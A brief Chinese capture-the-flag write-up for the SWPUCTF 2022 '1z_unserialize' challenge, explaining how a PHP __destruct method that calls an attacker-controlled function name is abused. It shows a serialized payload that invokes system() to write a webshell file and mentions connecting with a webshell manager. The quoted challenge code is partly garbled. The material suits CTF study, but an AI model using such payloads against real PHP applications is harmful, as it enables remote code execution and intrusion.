# [SWPUCTF 2022 新生赛]1z_unserialize # [SWPUCTF 2022 新生赛]1z_unserialize 题目: ```php lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?> ``` > __destruct 魔术方法在对象销毁时触发 ```php $a = $this->lt; $a($this->lly); ``` __destruct 方法里的代码的意思是将变量 `$lt` 的内容当作方法名,将变量 `$lly` 的内容当作给方法传递的值 尝试写入 WebShell : ```php " > 1.php'; } $obj = new lyh(); echo serialize($obj); ?> ``` 得到字符序列: ``` O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:71:"echo "" > 1.php";} ``` POST 提交: ![[SWPUCTF 2022 新生赛]1z_unserialize-1](https://pic.imgdb.cn/item/657eff08c458853aef0f283c.jpg) 访问一下 1.php ,成功写入 WebShell: ![[SWPUCTF 2022 新生赛]1z_unserialize-2](https://pic.imgdb.cn/item/657eff47c458853aef102686.jpg) 最后用 WebShell 管理工具连接,在根目录找到 flag